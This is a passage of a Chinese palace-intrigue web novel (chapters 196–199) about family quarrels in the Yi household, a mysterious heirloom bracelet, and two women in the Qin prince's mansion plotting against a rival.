这时,老妇人看着王二似是极为眼红和稀罕的模样,顺着他所注目的方才亦缓缓放眼看去,这才发现在那女子方才未被自己把脉的另一只微微压在身下的手上,竟套有一只她这辈子始终都记忆犹新的镯子。 她顿时快速地伸手掀起帷帽上的黑纱来,情不自禁地朝着那镯子惊讶地瞪大了眼睛,呆在原地,又一次被惊呆了“这人,这镯子…真的是她……” 如果方才一开始,看着这张脸还只是似曾相识的话,那现在再加上这只她至死都不会忘记的七彩金丝彩玉镯子。眼前的这个女子,在这世上,除了她,还会是谁呢?可不是传闻都说,她已经…… 就在老妇人一手挑起帷帽的黑纱,瞩目着女子腕上的七彩金丝彩玉镯子陷入一片沉思惊愣着的时候,一旁的欢儿亦甚感疑惑地开口问道“老夫人,难道你也对那只镯子……” “住手,不要动她手上的那只镯子。”被欢儿及时的一声轻唤,眼看着王二已经捉住女子的手腕,即将要将其摘下来的时候,老妇人忽然大声制止道。 王二大白天里,昧着良心做这种事,本就心虚着,竟被老妇人的这声吓得扑通一声,重重地朝后一屁股跌坐在了女子身旁的泥水潭中。 一夜的暴雨过后,自是满地的黄泥遍地。这黄泥顿时四溅开来,竟溅了他一脸,一身。 欢儿顿时惊的张大了嘴巴,紧接着掩鼻“噗嗤”一声,竟忍不住笑出了声。 这小河边本就只有窄窄的一片青草地,最多也不过只能放下女子的身体。 于是,他气呼呼地起了身来,看了正在掩鼻窃笑的欢儿一眼,接着又朝着自己周身瞅了瞅他的遍身稀泥,继而朝着老妇人大声吼叫道“‘人吓人,吓死人‘的知道么?” 然老妇人却并没有笑他,只见她缓缓放下来手中挑着的帷帽上的黑纱,正色地对王二说道“王二,你不能摘走这女子手上的那只七彩金丝彩玉镯子……” 老妇人的话尚未说完,王二便一脸不屑地忿忿将其打断道“为什么不能摘? 第一百九十六章:父亲已经不是以前的父亲 月潜日升,云消雨散,一场秋雨一场寒,一场春雨,带至人间一场暖。 经过昨夜的一场大雨,西秦国里普遍都迎来了百花盛开,万物复苏,到处都一派生机盎然的春天景象。 雨后的天空变得格外蓝,空气亦分外清新,还夹杂着些许泥土的清香。 街上一如往常,来来往往的过路行人,亦都各自脸上洋溢着一份难以掩饰的幸福与喜悦。 和煦的春光,照在人们的皮肤上,不但温暖,而且令他们全身都闪闪发光。 又是一年春到了,春是一切美好开始发生的季节,更是人们心中萌生出无尽希冀的季节。 时至城西衣府的午饭时间,家主衣上坤入座后难得地细细打量了一番面前食案上,一大桌甚是丰富的鸡鸭鱼肉等各式菜色佳肴,许是也因了这屋外处处令人陶醉的桃红柳绿的景致,他的脸上亦露着极为罕见的喜悦之色。 正预备抬手动筷,忽见他将目光移向了正围坐在食案边上等待着起筷开饭的众人,似是发觉了与以往有些不同,随即便开口询问端坐在其身旁,但一直都气呼呼地板着一张脸,嘟囔着一张小嘴,似是被人抢走了她什么心爱的稀罕物件似的衣上雪道“雪儿,怎么今日里都不见你娘出来吃饭?莫非是身子有何不适么?” 衣上雪一脸不屑道“父亲只需在乎大房里的事便可,还来管我们这些庶出的做什么?” 衣上坤听闻此言,甚感莫名其妙,便训斥衣上雪道“你这个丫头,怎么跟父亲说话的?身为一个大家闺秀,平日里的书都念到哪儿去了?今日里,你从早上到现在,都是这一副鼻子不是鼻子,脸不是脸的臭模样。你平日里任性又刁蛮,对待府里的下人更是尖酸刻薄,你以为为父我什么都不知道么?你若还不好好跟你大姐学学,以后定还要吃更大的亏不可……” 眼看着衣上雪横眉竖眼,咬牙切齿着,已然被衣上坤的这番话已完全激怒,正待发作。坐在衣上坤另一旁的年氏眼疾手快地拿起勺子,赶忙舀起满满一勺摆在家主衣上坤面前的满含胶原蛋白的黄豆炖猪脚来,打断了衣上坤接下去的话,笑着将其放到衣上雪的碗碟里,替其圆场说道“时间不早了,我们雪儿一定是饿坏了才会口不择言说错了话,老爷您就莫再动怒训责她了,让雪儿先吃饭。姑娘家脸皮薄,哪能经得起您这样训呢?雪儿,来,快吃,这个黄豆炖猪脚是你最爱吃的菜,美容养颜、益气养血、健脾宽中,多吃点。吃完了饭,大娘便随你过去瞧瞧你娘,有大娘在,雪儿什么事都不要忧心,快点儿吃!” “老爷,你也吃。”一边说着,年氏亦给紧绷着脸,眉头不展的衣上坤添了菜。 衣上坤自知 是年氏在劝,亦是给争执不休的他们父女俩台阶下,便只好轻叹口气,继而捉起筷子来只管低头吃饭,不再言语。 岂料衣上雪听着耳旁年氏的柔声细语,眼睛直勾勾地瞪着眼前碗碟里年氏放入的一勺菜,竟忽然深吸口气,一把大力地将其掀翻打落在地上。 瓷器落地,发出咔嚓咔嚓阵阵清脆的声音来。 衣上坤惊讶地望了一眼地上的一片狼藉,顿时抬起头来厉声呵斥道“做什么?你还没完没了了不成?” 年氏见势,忙伸出手小心翼翼的扯了扯衣上坤的衣袖。然这次衣上坤似是根本没打算再继续退让。 于是,他放下手中的碗筷,朝衣上雪认真地说道“你今日如此行事,究竟意欲何为?若说不出个子丑寅卯来,这一整日,你便饿着肚子吧。” “哼,不吃就不吃,饿死了最好不过了,死了干净,也正好称了某人的心,如了某人的愿。”衣上雪忽的起身来,将话一说完便踢了脚凳子,转身欲忿忿离去。 一时间,衣上坤被这个女儿气的直冒青筋。 同是一个院子里养大的吃同样饭喝同样水的孩子,为何这个女儿和另一个就差的那么远。 顿时间,他只觉得眼前天旋地转,却还是站起身来对着衣上雪离去的背影吼道“你…有本事,这辈子你都别再吃我衣府的饭。” 衣上雪闻之顿足,狠狠道“不吃就不吃,吓唬谁啊!” 说完,便再头也不回地跨出了门去。 衣上雪离去,衣上坤仰天长叹“逆子,逆子啊,真是家门不幸,家门不幸啊!” 年氏随即一边伸手在衣上坤的胸前帮其一把接着一把地顺着气,一边语重心长道“老爷消消气,不要跟自家人一般见识,他们都只不过还是些不懂事的孩子而已。老爷如此激进言语行事,伤父女感情,更伤孩子们的心,家以和为贵!” “唉,三个孩子,真是没有一个能让老夫省点儿心的。从昨日至今,老夫这眼皮子一直就跳个没停,也不知道究竟是怎么了?”衣上坤一边落座,一边无奈的心事重重道。 闻此,年氏亦紧随其后落座下来,蹙眉着若有所思道“老爷…实不相瞒。其实,我也同老爷无异,从昨日起身至今,胸口里一直觉得憋闷得慌,感觉像是有什么大事要发生似的。” “你也是?”衣上坤望着年氏一脸惊诧。 年氏轻轻对其点了点头,心疑地吞吞吐吐道“老爷…该不会是云儿那丫头…要出什么事吧?!” 听着年氏心里的怀疑,门口一棵大树上的一片新叶悄悄滑落下来,衣上坤放眼出去朝其瞥了一眼,稍一仰头,忽然望着窗外南边的天空中,飘浮着的一朵离了群的 第一百九十七章:此母女非彼母女 衣上坤一迈入兰姨娘的卧房,很快便绕过屏风透过一层深紫色轻纱,搜索到了正倚坐在榻内的兰姨娘身影。 兰姨娘在房内,早已听到了衣上坤与衣上雪父女俩人方才在院子里的对话。 此刻,她隔着那层紫纱,对出现在自己眼前的这个男人,露出了从未有过的一脸失望和怨恨的表情,继而狠狠地瞪了他一眼。 然衣上坤却并未意识到紫纱另一边兰姨娘的心思,依旧含笑着走到榻边伸手轻轻地掀开了俩人之间那层轻纱的阻挡。 不想竟顿时传出来兰姨娘声嘶力竭的一阵埋怨声来“你来做什么?你还来我这儿做什么?你给我出去,我再也不想看到你,出去,咳咳咳咳咳…咳咳咳……” 衣上坤这才看清楚,兰姨娘的模样看起来似乎是真的病了,她一脸苍白着毫无半点血色地倚靠在榻边。 还没说出两句话,便拿着帕子掩起嘴不停地连连重咳了起来。 衣上坤一见,脸上的笑容顿时消散去,眉毛却瞬间拧作了一团,紧忙踱步到窗边的桌案上倒了碗热水,欲将其递到兰姨娘的手中。 不想,兰姨娘却一把将其打落在地,咬牙切齿,面目狰狞地朝他哭着怒吼道“衣上坤,你真是好狠的心呢!常言道‘虎毒尚且还不食子’呢,昨夜里,风驰电掣,霹雳漫天,大雨滂沱,俊儿,他可不是外人亦不是你的仆人,他是你衣上坤唯一的亲儿子啊。你如何忍心在那样危急的夜里,遣他去城南那样远的地方,跋山涉水,就只为了寻回那个贱人养的小贱蹄子么?我真恨不得,昨夜里的雷电已将那个小贱人狠狠地劈死在了外面,疾风骤雨已将她浇灌至死。如此,以后她便再也不能伤害到我的儿和我的女了。天呢,若是我的俊儿有个什么闪失,我…我非和你拼了命不可,我也绝对饶不了年氏那个贱人。老天爷啊,我的命怎么就这么苦啊,嫁给你就没过过一天好日子,呜呜呜……” 衣上坤闻言,快步上前坐到其榻边,抱着其肩靠在自己的肩头,语重心长道“兰,这些年跟着我衣上坤,我知道委屈你了。你一个出身书香门第的千金大小姐,下嫁给我一个外乡人做妾室,这些年,不但苦了你,也苦了孩子们。可是,你我夫妻十余载,你忙里忙外,又为我辛辛苦苦怀胎十月,同胞诞子一双。我原以为,我们理应早已心有灵犀。但如今,你真就如此看待你夫,我吗?佛经有云‘亲生之子,怀之十月,身为重病,临生之日,母危父怖’。俊儿自是从你身上掉下来的一块肉,可对于为夫我,又何尝不是呢?” “既然如此,那你…你为何还要那样做?”兰姨娘听闻衣上坤的一番肺腑之言,似是方才微微有些动容,却依旧不解道。 衣上坤叹了口气,道“古人有云‘父母深爱子女,则为之计深远’,所以一直以来,你都是精打细算着过日子,什么都替他们盘算着,一心只想着为俊儿和雪儿攒下一份厚实的家业,让这两个孩子往后余生里,不愁吃不愁穿,活的尊贵体面。” “我是他们的亲娘,自是要帮他们做长远的盘算,难道这错了么?”兰姨娘忽然止住哭声,又吸了吸鼻子,打断衣上坤的话为自己辩驳道。 衣上坤道“兰,难道你到现在还不明白?孩子们早都已经长大了,他们需要的已不再仅仅是每日吃好穿暖,躲在自己的安乐窝里。他们早已有了自己的想法,想要经历更多的人生磨练。就如上次秦王亲临衣府的事,若不是因了那次,你我怎会知道整日里吊儿郎当的俊儿竟胸怀有如此鸿鹄大志呢!而且,为夫见他自此之后整日里闭门苦读,再也不同雪儿厮混瞎闹了。俊儿他堂堂七尺男儿,倘若就连昨夜的那点风雨雷电便牵绊住了他前行的脚步,那他这一生即使上了战场,还能有什么出息?这孩子啊,就像是你手里的风筝,你若总是担心怕他飞的太高逃离了自己的视线,而将线紧紧地绕在你的手上,那他不但飞不高,飞不稳,甚至还会伤心的折了翅掉下来。可你若是松开了手中的线,他便飞的越高越稳越开心,那才是他想要的不受羁绊,尽是肆意畅快又无怨无悔的一生。” 衣上坤一边说着,眼里流露出尽是一片希冀的光来。 “可我就是不甘心,为什么非要是那个贱丫头,如果俊儿万一…那我……”兰姨娘靠在衣上坤的肩头静静地听着,似是心里已经有所释怀,却仍有一丝不甘和不舍道。 衣上坤安慰劝解道“放心吧,俊儿是我衣上坤的好儿子,他一定不会有事的。去寻云儿,就当是还她母女的吧!” 兰姨娘闻声,立刻端坐起身来反驳道“你这话是什么意思?什么叫‘就当是还她母女的’?这些年里,虽说我一进门就掌了家,可难道我对她们不够好,缺衣少穿了么?” 衣上坤将一手搭在兰姨娘的肩上,一边抚慰着她,一边说道“兰,这个家交给你,我自是一百个放心的。但你可知为何当年我无论如何都不肯答应岳父,弃了这糟糠之妻而迎娶你入门为正室么?” “因为所有人都认为你老实忠厚顾念旧情呗。其实,只有我傻,明知道你骨子里还是挺滑头的,你一定是料定了我一定会嫁你。因为无论是在父亲的医铺里,还是在他后来被朋友引荐所牵连,进宫为太后诊病,因开了一味世间极其难得的千年人参而被认为是黔驴技穷,故意开这种莫须有的药糊弄朝廷,以免其罪责。而被宫里羁押,在生死攸关之际,只 有你有本事帮助并且救出他。对么?” 衣上坤笑着摇头。 兰姨娘回忆着道“说真的,我和父亲一直都很为此而惊叹呢!当年的你,一贫如洗,究竟是从何得来的一株罕见的千年人参进贡给太后,方才救了父亲一命呢?你也因此美美地在宫里露了一脸,当着那些迂腐之辈的面前,让他们都自愧不如。而我父亲和我也彻底被你征服了。” 看着兰姨娘此时脸上不经意闪过的一抹骄傲,衣上坤回忆着道“其实,这株千年人参并不是我的,而是云儿母亲的。云儿是她用自己生命换来的,所以我断不能做这过河拆桥,忘恩负义的事啊。” 兰姨娘这会儿才明白过来,惊异道“想不到那院里的贱人,竟会有如此宝贝。” 此时的兰姨娘自是不知衣上坤口中这会儿所说的衣上云的母亲,实际上可并不是指住在这座宅院里的另一个女人,衣上云名义上的母亲。 衣上坤的心里一直很清楚,有些话他始终还是不能与兰姨娘说的。冥冥之中,他确实心里也不十分清楚究竟为什么自己会有这样的想法,只是感觉说出来一定会招来某些不好的灾祸发生似的。 此时,为了平息和安慰兰姨娘心里的火苗,他只能言不由衷地将计就计了。如果让兰姨娘知道了衣上云并非年氏所生,年氏的地位一旦不保,衣上云在衣府的日子怕是也一定更加艰难。 “哦!所以当年你实际上应该谢她才是,没有她,我也是江郎才尽,巧妇难为无米之炊啊!”衣上坤答道。 兰姨娘听了,瞪了衣上坤一眼,不以为然道“你们本就是夫妻,她的,你的,有必要分那么清楚么?若是真要分,那当年父亲为了我们成婚后,不至于挤在你那巴掌大的一间茅草屋里,能有个像样点儿的落脚的地儿,这座府邸还是他一手置办的呢,这又该如何算呢?” 衣上坤不可否认“兰你说的也是,也是……这都怪为夫我无能,给不了你富足无忧的生活,还要劳烦老丈人他费心。所以,当年年氏也同意我以正室的三礼六聘,八抬大轿将你风风光光地正式迎进了门来,对吧?” 毕竟,在生于乡野之间的年氏的心里,她也清楚的跟个明镜似的,若是当年没有兰姨娘一家的帮衬,别说衣上坤能有今天的这份体面和风光了,就算是找一能遮风避雨的一隅之地,恐怕都将是奢望。 毕竟,这里可是天子脚下的皇城地带,不是谁都可以活下去的。 此时,衣上坤看着兰姨娘脸上露出的那份安然自得与神气,忽然想起过去的种种艰辛来,一种莫名的心酸感油然而生。 兰姨娘似是终于受到了安抚,亦解开了心里的疙瘩,一边下榻更衣一边对衣上坤道“对了 ,我忽然想起来,云儿那丫头貌似有一只极为珍贵的金丝彩玉镯子,如此贵重之物,尚且连我都没有呢,她是打哪儿得来的?听年氏说,是你一位已故的故人赠的?” 衣上坤闻之不知为何,忽然紧张起来,愣了一下,道“兰…那只七彩金丝彩玉镯子,是云儿的命。除了那个镯子,我衣上坤的任何东西都可以给你。” 兰姨娘被衣上坤此时的表情惊呆了“你这么紧张做什么?我又没有说要那个镯子,难道,这只镯子有什么不可告人的秘密?” 衣上坤顿时吐了口气,默默地走过去从后面搂住了兰姨娘的腰肢,贴在她的耳边,柔声道“兰,相信我。也许,有一天你会明白这一切的,但绝不是现在。” (本章完) 第一百九十八章:午后博弈 自古以来,民间便有云‘蚕豆花开,张眼不开。’春暖花开,万物复苏,鸟语花香,大地上到处呈现出一派欣欣向荣、生机勃发的兴旺景象。 城东秦王府的韶华阁里,一席丰盛的午膳过后,梅汐媛已是尽显一副困倦乏力、眼涩又晕眩、精神头差了许多的‘春困’之态。于是,这会儿正值她舒适恬静的午睡时分。 而陪其一起用膳之后,回到自己房内的陆天骄,则俨然没有梅汐媛的那份舒心与惬意。 此时,陆天骄正独自坐在房内的窗户前叹着气,一脸忧郁,心事重重着。 这些日子以来,她无时无刻不想起除夕夜自己亲眼所见的发生在林月轩的一切。而每当想起它的时候,就仿佛那一切如同刚刚发生的一般,血淋淋又无情地鞭挞着她已满是伤痕累累的一颗真心。 手里捧着一本诗集倚窗而坐,面前放着一杯原汁原味的苦柠檬茶,散发出缕缕热气。 她出神地凝视着窗外一树正含苞欲放的海棠花骨朵,还有周围正花团锦簇相依相靠在一起的梅树做伴,而自己在这个偌大的王府里却是如此的孤苦无依。这一切,都是自己心甘情愿选择的,似乎也怪不得别人。其实,事到如今,她又还能怪谁呢? 忽见她轻叹了口气,随即将那副饱含忧郁又呆滞的眼神收了回来,圆圆的眼睛微微眨了两下。紧接着,一只玉手轻轻晃动,目光亦随之停留落在手里诗集的某一页上,不禁轻声吟道“劝君莫惜金缕衣,劝君惜取少年时;花开堪折直须折,莫待无花空折枝。” 静静地吟完后,只见她微微地嘴角上扬,竟独自痴痴笑了起来,也不说话。 片刻后,嘴角的笑意渐渐消失,举杯抿了一口自己特意亲手泡制的这杯苦柠檬茶,满嘴里都是苦苦的,可心里,又何尝不是呢? 她一只白皙纤细的玉手,紧紧握着手里的茶杯,苦笑道“这可真正是‘哑巴吃黄连,有苦说不出’啊。我堂堂西秦学院大小姐,竟也会有一日会落得如此境地。我发誓,总有一天,我要夺回属于我的一切。” 关于除夕夜,她无意中所看到的发生在林月轩里的一切,碍于轩辕翰亲自交待她不许泄露的情面,始终她再是气不过也还是守口如瓶,对梅汐媛果真没有透漏出半分。 然也正是因此,她心里堆积如山的苦楚得不到一丝发泄,便更是感觉憋屈。她甚至后悔,自己那晚为什么会去那个院子里偷窥。如果她没去,便不会看到那些让自己苦苦煎熬的一切,便不会这般痛苦。 不过,当这个极具颓废消极的念想刚一浮出脑海的时候,她便立刻将其扼杀了住,嘴里狠狠地自言自语道“知己知彼才能百战不殆,如今看来,翰哥哥已然 已对那丫头极不一般,对其在乎的程度远远胜过那个傲娇公主。既然我陆天骄为了翰哥哥,已经选择了这条艰难的路,那么不管付出任何代价,我一定会坚定不移地走到底。不到最后一刻,谁都不知道到底谁才是真正的赢家,又是谁才是最后陪伴在翰哥哥身旁的那个人?” 没过多久,韶华阁里的梅汐媛在片刻的午睡后,亦已再次攒足了精神,懒懒地披头散发着起床下榻来。 她端坐在梳妆台前,看着菱花镜中的容颜。这张脸,仿佛还是那张很年轻的脸。 她缓缓伸手,用手指轻轻滑动抚过自己的脸庞,那皮肤依旧是白皙水滑的,那双眼睛也依旧是清亮晶莹的,还有那片朱唇也还是胭脂红润的。 只有那颗心,却早已不再是最初的那颗一腔热忱的心。这颗心,似是已老了许多,丝丝苍凉早已沉入心底。那颗心,已被人一次又一次地用冷水浇透,却还仍然企盼着那个人能有一天,亲自用他的真情将它再次捂热。 而想要等到那一天,当下最棘手的事,便是和陆天骄联手将已经满满占据了那个人心里的那个女人连根拔除,这样她才会有机会。 梳好了妆,乘着这会儿的日头不强也不弱,梅汐媛缓缓踱步着来到了韶华阁的花园里,便差人过去邀约陆天骄做伴,欲在小花园的石桌边坐下,一边惬意的晒着阳光,一边博弈品茶言欢以及商议她们共同的大事。 很快,陆天骄便端着满脸的笑容通过了拱门来到了韶华阁的花园,她对梅汐媛福了福身子,问安道“姐姐晌午歇的可好?” 梅汐媛对其连连笑道“好好好,妹妹你呢,方才可有睡着么?” 陆天骄一边朝着梅汐媛身旁落座,一边回答道“妹妹这会儿不困,尚未午睡,倒是看了会儿诗集?” 梅汐媛闻之,好奇地道“哦?不知妹妹看了什么诗?” 陆天骄道“倒是也没有太在意,只是随手拿起翻到一页,仿佛是云‘慈母手中线,游子身上衣。临行密密缝,意恐迟迟归。谁言寸草心,报得三春晖。’” 梅汐媛正欲落下手里的第一枚白子,闻之一下子想起久未蒙面,远在东宁的母后,一阵难以自持的悲伤感顿时涌上心头,说道“这首《游子吟》果真是好诗。说起来,姐姐我也已许久不见母后了,不知她过的好不好?” 看到梅汐媛已然被动容,拭起泪来,陆天骄亦黯然失色道“姐姐只是许久未见母亲,而妹妹却是此生再也见不到母亲了。” 梅汐媛一听,顿觉自己失言,便一脸歉然道“没关系,以后,姐姐会好好照顾你的,我们都不难过了,好么?” 陆天骄用锦帕轻拭着眼角的泪花,转念间忽然开口问道 “对了姐姐,近日里怎么似乎没有见到殿下的人呢?这年关尚未过完,莫非他便开始忙碌于公务了么?”陆天骄亦一边在梅汐媛方才落下的第一枚白子的旁边,掷下了自己的第一枚黑子。一开始便显得似是有些故意让着梅汐媛的样子,一边开口问道。 然梅汐媛却并没有开口回答她,只一心一意地落子有声着。 许久后,俩人已过数局,梅汐媛一直稳赢着,忽然她似是察觉到了陆天骄是存心有意相让于她,便一脸不悦地气道“妹妹这是做什么,明明好好的一盘活棋,怎么眼看着你马上要赢了,却转瞬间又是要输了的样子呢?唉,一直赢似乎也很无趣,既然妹妹无心于此,不下也罢。赵嬷嬷,收了吧!” 赵嬷嬷上前收拾棋局,姐妹俩人便一起起了身来,陆天骄赶忙上前搀扶住梅汐媛的胳膊,继续道“姐姐难道一点儿也不在乎殿下去了哪里么?” “哼,在乎如何,不在乎又如何呢?姐姐我既不是他放在心上的人,在乎亦或不在乎他,又有什么不同?”梅汐媛佯装无奈道。 “姐姐,事在人为啊!”陆天骄这句,似乎是在提醒着梅汐媛一些她们之间的什么约定似的。 梅汐媛怔住看了她一眼,忽然似是想起了什么,问一旁的赵嬷嬷“对了,这几日可有在王府里看到公主和太子呢?” “回王妃的话,公主和太子跟着殿下一起去城南了?” 听了赵嬷嬷的话,梅汐媛甚感诧异“城南?前几日刚从北山回来没几日,这会儿怎么又去了城南了?真不知,这大过年的,他整日里到底在折腾些什么?” 陆天骄闻之,转念又提醒她道“姐姐,明日便是元宵节了。过了明日,衣上云那个丫头就要进秦王府了。姐姐可有想好了如何安置她?” “早就想好了,如此聪慧拔尖能干的人,自是要留在这座王府的主人身边侍候咯。”梅汐媛意味深长地说道。 “姐姐真的打算这样做,可都想好了?”陆天骄一再确认。 “难道这不是妹妹你的主意么?”梅汐媛反问道。 “妹妹不敢,妹妹日后一切都听姐姐的差遣。”陆天骄故作卑微道。然她心里,却不知有多期盼着即将到来的好日子。 梅汐媛此刻虽然笑对着她,心里却不知有多恨。就凭你,也配跟本公主抢男人,痴人做梦吧。总有一天,我一定会让你看清楚自己的身份。 就在这时,一名女婢慌慌张张地通过拱门进来,一上前来还未行礼便大声地开口道“王妃,不好了,不好了……” “如此行色匆匆,莽莽撞撞,平日里赵嬷嬷没教过你们规矩吗?也不怕冲撞到王府里的主子和客人。”梅汐媛一边厉声朝其训斥着,一边斜了一眼 身旁的陆天骄,对女婢使了个眼色。 “奴婢错了,请王妃责罚。”女婢这才急忙跪下来认错。 “好了,算你运气好,撞上本王妃今日心情好,免罚了吧,方才你是想说什么?”梅汐媛一边借着轻抚头上新制的金步摇,挣脱了陆天骄的手,一边一脸悦色地朝着女婢身边近身过去。 女婢起身来,只轻唤了一声“王妃娘娘”随后,便将手覆在梅汐媛的耳边,对其悄声耳语起来。 陆天骄努力地侧着耳朵,却依旧半个字都没听到。 然她心里依稀觉得,这名女婢所禀报上来的事,一定与她的翰哥哥有关。 只见女婢耳语了片刻后,一离开梅汐媛的耳旁,梅汐媛便瞬间犹如一个木头人似的惊愣怔住了…… (本章完) 第一百九十九章:世事总是难料 陆天骄心里依稀觉得,这名女婢所正在禀报上来的事,一定与她的翰哥哥有关。 只见女婢耳语了片刻后,一离开梅汐媛的耳旁,梅汐媛便瞬间犹如一个木头人似的惊愣怔在了原地。 难道昨夜她梦到她的翰哥哥被一庞然大物所食是真的?她的翰哥哥真的出事了?此刻,陆天骄的心里忽然生出一抹极不好的预感来。 她只想要奔到林月轩里去一探究竟,可是那个地方,又怎会是可任她如此来去自如的地儿呢?可她也不能就只站在这里呆呆地陪着这个笨女人傻愣着啊。她突然想,如果这个笨女人不在王府里牵绊她该有多好,她就可以和除夕夜一样,悄悄地远远站在一边去探探那个院子里的动静,看看她的翰哥哥是不是尚还完好无损的存在着。 就在这时,梅汐媛突然转过身来,神情漠然,看起来又甚为不安的样子,朝着一旁同样呆若木鸡的陆天骄说了句“我忽然有点头晕,想去歇一会儿,你也回去吧。” 陆天骄似是早已经再也按耐不住内心的焦虑,梅汐媛此时竭力所佯装表现出来的这副冷静表情,让她感到不寒而栗。此时,她的整个身体都开始有些微微颤抖了起来。 她深知,自己从来都不曾得到梅汐媛内心真正的信任和认可,梅汐媛所获得的消息,不但对自己很少提及,就算是提及,也是真假难辨。可她其实也并不在乎,她们俩之间,终究只是一场女人之间的合作与交易而已,各得其所罢了。 可是,面对有关于她最爱的翰哥哥的事情,她自是什么都可以不顾,更什么都不在乎。如果非要,她不建议与她,哪怕与任何人之间来一场真正的较量。她觉得,这是她自己爱那个男人的方式,亦是对他的忠贞不渝。此生,他只能是属于她一个人的。 于是,她压低了声音对着刚经过她身旁的梅汐媛的背影颤颤地开口问道“是不是翰哥哥…出了什么事?” 不知为何,梅汐媛的眼角竟不知何时起,闪烁着点点泪花。听到陆天骄的声音,她渐渐止住步,告诉她道“你的翰哥哥,他很好。大过年的,他带着公主和太子,一同去了城南最有名的烟花柳巷,不仅如此…那个丑丫头…也去了。” 话到最后的时候,梅汐媛忽然紧紧地咬住了下唇来。 “什么?这不可能,翰哥哥一向洁身自好、不近女色、且贯有洁癖,怎么可能会去那种地方?你一定是搞错了!”陆天骄闻此,一时间惊呆了。 梅汐媛说完,眼睛微闭,泪珠儿便顺势滑落了下来,流经她姣好的脸庞。片刻之后,她一睁开眼睛来,便气势汹汹,再头也不回地自顾自朝着韶华阁的阁楼而去。 留下久久怔在原地里的陆天骄,满是一 副摸不着头脑的表情,只不停地一边摇着头,一边出神地道“不对,一定是她们搞错了,一定是,翰哥哥绝对不会是那种放荡形骸之人,绝对不会。” 然一边坚定地说着,她却抬起手将手边的一株开的正旺的榆叶梅,连同整个枝条都大力地扯断了下来,丢在自己的脚下狠狠地发泄踩踏起来。【…¥~@更好更新更快】 梅汐媛一走进韶华阁里,便觉天旋地转、头痛欲裂,她用手抚着太阳穴处,只觉自己头顶的整片天似是都要塌下来了。 赵嬷嬷赶忙将其扶到一旁,尚还有些阳光照射进来的软榻上斜靠着,一边手上蘸了些许安神的精油帮其按摩缓解着不适,一边关切问道“王妃这是怎么了?咱们殿下去了那种地方,就未必是行那种不耻之事啊。一切都还没弄清楚,王妃又何苦杞人忧天,庸人自扰呢?” 梅汐媛懒懒地靠在那里,微闭着眼睛,努力平息着自己心头的焦虑,缓缓道“赵嬷嬷,方才的那番话,我只不过是用来堵那贱人的而已。嬷嬷可知,本公主心里最担心的事发生了。” “公主是说……”赵嬷嬷惊道。 此时,梅汐媛方才的一阵不适感,似是已经得到了缓解,便伸手止住赵嬷嬷,起身端坐起来,皱起眉头道“方才皇兄派人除了传来这个消息以外,还有更重要的一件事。皇兄已经怀疑本公主是有意在拖延寻找嫡公主的事,他警告本公主,以后绝对不许再如此行事了,否则便会将此事告知父王。多年以来,虽说有母后陪伴在父王身边,然父王却始终对嫡皇后一直痴心不改,心中有愧着。当年,他若全力阻止嫡皇后回西秦一趟,便不会造成如此大不幸。如果万一让父王知道了本公主怠慢这件他的心头大事,不但本公主会失宠,也一定会牵连到母后,到时候,怕是父王也一定会怀疑母后用心的。” “要不…咱们就按三皇子的意思查一查。想来嫡公主…或许,她天生就是个短命鬼呢,想她倒也未必就一定会活着。即使她还活着,我们也照样可以让她永远地消失……”赵嬷嬷一边听着,一边狠狠地暗自琢磨道。 梅汐媛深叹口气,依旧满脸忧郁道“不,皇兄刚才传来的消息里说,因为本公主怠慢了这件事,所以他已经亲自到城西衣府,那丫头家附近,将那户人家打探的很清楚了。他怀疑那个丑丫头,十有八九便是我东宁国遗失了十七年多的嫡公主。” “什么,三皇子亲自已经将其打听清楚了?他竟插手了,那…那这件事恐怕就难办了?”赵嬷嬷惊声,露出一脸的难色。 “皇兄最后邀约本公主寻机和他亲见一面。本公主该怎么办?该怎么办呢?怎么办?怎么办啊?”此时的梅汐媛已然心乱如麻,她一边怒吼 着,一边起身下榻来在地上不停地来回踱步着。 事到如今,她早已迷失了自己,不知道她究竟该如何面对周围她生命里出现的这些事和这些人。这些能将她捧到云端,亦可以将她踩在脚底的人和事。 赵嬷嬷一脸无奈地看着梅汐媛发狂,转念忽道“对了,殿下临走的时候,下令门上,在他回来之前王妃万不可以迈出王府半步,亦不准生人进入王府里来。那王妃如今怎样才能出的去这王府大门见三皇子呢?不如以此为由,先回拒了他?” 梅汐媛依窗而立,望着窗外天空中飘浮着的一朵云彩,似是忽然安静了下来,道“躲了初一,躲不过十五。没准儿,皇兄到时候又会以为这是本公主故意怠慢,又加重责备了呢。为何,这一切都会成为今天这个样子。想起以前小时候,在东宁的皇宫里,本公主跟在三皇兄的后面,是那样的开心快乐,无忧无虑。无论是在父王母后的面前,还是在嫡皇后娘娘面前…可世事为何总是会朝着我们不情愿看到的方向发展呢?” 就在这时,疾跑进来一个神色慌张,一袭粉色衣裙的小婢女,跌跌撞撞,踉踉跄跄着。 小婢女一进门里来便扑通一声跪倒在了地上,紧接着上气不接下气地禀道“娘…王妃娘娘,快…快…快去看看吧,大事不好了,秦王殿下…殿下他…他…他……” 眼前这个小婢女,显然不知道究竟受到了多大的惊吓,竟语无伦次到了如此境地,连一句话都说不明白。 梅汐媛已然静不下心,等不及其将消息禀告清楚了,便直接径自疾步朝着门外飞奔了出去,赵嬷嬷一见,狠狠地瞪了一眼尚还怯怯地跪在面前冰冷的地板上,大口喘息着的小婢女,忙走到一旁顺起一件淡黄色披风在其身后急追不舍着亦跟了上去。 此时,林月轩的大门,紧紧的关闭着。 门前石阶下,陆天骄正席地而跪着,梨花带雨、肝肠寸断又心急如焚地一遍接着一遍,哭着祈求道“民女陆天骄,真心祈求玥公主殿下,太子殿下:请允许民女进去林月轩里面,探视秦王殿下一眼吧,只要一眼便可,民女将感激不尽……” 而林月轩里面,众人纷纷都各自忙碌着。 轩辕昊听到外面楚楚可怜又甚是凄惨的女子哭声,忍不住好奇地开口问正在替轩辕翰擦着一脸风尘仆仆的轩辕玥道“皇姐,林月轩门口正跪着的那个哭成个泪人儿的女子是谁啊?这秦王府里,皇弟可没听说过除了那东宁国硬塞给咱皇叔的一个永乐公主,还有其他女子啊!难道,秦皇叔终于意识到了他这秦王府里阳气太重,也要考虑考虑广纳女眷,来阴阳调和了?” “昊儿不要瞎说,那是西秦学院院长陆贤门上 的千金小姐,陆天骄,难道你不认得了?” 